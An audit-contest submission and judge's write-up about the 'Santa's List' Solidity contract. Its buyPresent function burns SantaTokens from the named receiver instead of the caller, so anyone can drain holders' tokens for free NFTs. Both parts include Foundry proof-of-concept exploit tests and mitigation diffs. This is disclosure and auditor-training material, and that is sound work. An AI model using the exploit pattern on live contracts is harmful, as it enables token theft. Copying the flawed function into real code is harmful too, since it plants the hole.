Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

buyPresent burns SantaTokens from presentReceiver instead of msg.sender, letting anyone drain other users' tokens

prasadreddy

Root + Impact

Description

  • `buyPresent(address presentReceiver)` is meant to let a user pay `SantaToken` to buy an NFT present for a friend (a `NAUGHTY` or `UNKNOWN` address). The buyer should be the one paying.

  • The function burns the tokens from `presentReceiver` (the address passed in as the argument) instead of `msg.sender`, and mints the NFT to the caller. Anyone can therefore pick any token holder, burn that holder's `SantaToken`s without their consent or approval, and receive a free NFT.

// Root cause in the codebase with @> marks to highlight the relevant section
​
```solidity
// src/SantasList.sol
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // @> burns from the receiver, not the payer
_mintAndIncrement(); // @> NFT goes to msg.sender
}
```

Risk

Likelihood:

  • `buyPresent` has no role, status or approval check, so any address can call it at any time.

  • `EXTRA_NICE` users are given `SantaToken`s in `collectPresent()`, so victims with a balance exist as soon as Christmas starts.

Impact:

  • Victims lose their `SantaToken` balance without consent or approval.

  • The attacker gets NFTs without paying, which breaks the "pay tokens to gift a present" mechanic and the token economy.

  • The attack is repeatable against every holder, so one attacker can drain all of them.

Proof of Concept

**Scenario:** `user` is `EXTRA_NICE` and holds `SantaToken`s. `attacker` holds zero tokens, has no approval from `user`, and is not on any list.
​
1. Santa marks `user` as `EXTRA_NICE` on both lists.
2. After Christmas, `user` calls `collectPresent()` and receives an NFT and `SantaToken`s.
3. `attacker` calls `buyPresent(user)` with no tokens and no approval.
4. `user`'s tokens are burned, and `attacker` ends up owning an NFT.
​
Add to `test/unit/SantasListTest.t.sol`:
​
```solidity
function testPoC_BuyPresentBurnsVictimTokens() public {
address attacker = makeAddr("attacker");
​
// 1. Santa checks `user` twice as EXTRA_NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
// 2. After Christmas, user collects NFT + SantaTokens
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(user);
santasList.collectPresent();
​
uint256 victimTokensBefore = santaToken.balanceOf(user);
assertGt(victimTokensBefore, 0, "victim should hold SantaTokens");
assertEq(santaToken.balanceOf(attacker), 0, "attacker holds no tokens");
assertEq(santasList.balanceOf(attacker), 0, "attacker holds no NFT");
console.log("victim tokens before:", victimTokensBefore);
​
// 3. Attacker has no tokens and no approval, yet calls buyPresent(victim)
vm.prank(attacker);
santasList.buyPresent(user);
​
// 4. Victim's tokens were burned, attacker got an NFT for free
uint256 victimTokensAfter = santaToken.balanceOf(user);
console.log("victim tokens after: ", victimTokensAfter);
assertLt(victimTokensAfter, victimTokensBefore, "victim tokens burned");
assertEq(santaToken.balanceOf(attacker), 0, "attacker paid nothing");
assertEq(santasList.balanceOf(attacker), 1, "attacker received NFT");
}
```
​
Run: `forge test --mt testPoC_BuyPresentBurnsVictimTokens -vvv`
​
Expected: the test passes on the current code. The victim's token balance drops, and the attacker owns an NFT despite paying nothing.

Recommended Mitigation

Burn from the caller (the payer) and mint the NFT to the intended receiver:
​
```diff
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender); // payer pays
+ _safeMint(presentReceiver, s_tokenCounter); // receiver gets the present
+ s_tokenCounter++;
}
```
​
After the fix, an attacker with no tokens can no longer take anything from a victim. The call reverts because the attacker's own balance is insufficient:
​
```solidity
function testFix_BuyPresentChargesCaller() public {
address attacker = makeAddr("attacker");
// ... same setup as the PoC: `user` is EXTRA_NICE and holds SantaTokens ...
​
uint256 victimTokensBefore = santaToken.balanceOf(user);
​
vm.prank(attacker);
vm.expectRevert(); // attacker has no SantaTokens to burn
santasList.buyPresent(user);
​
assertEq(santaToken.balanceOf(user), victimTokensBefore, "victim untouched");
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!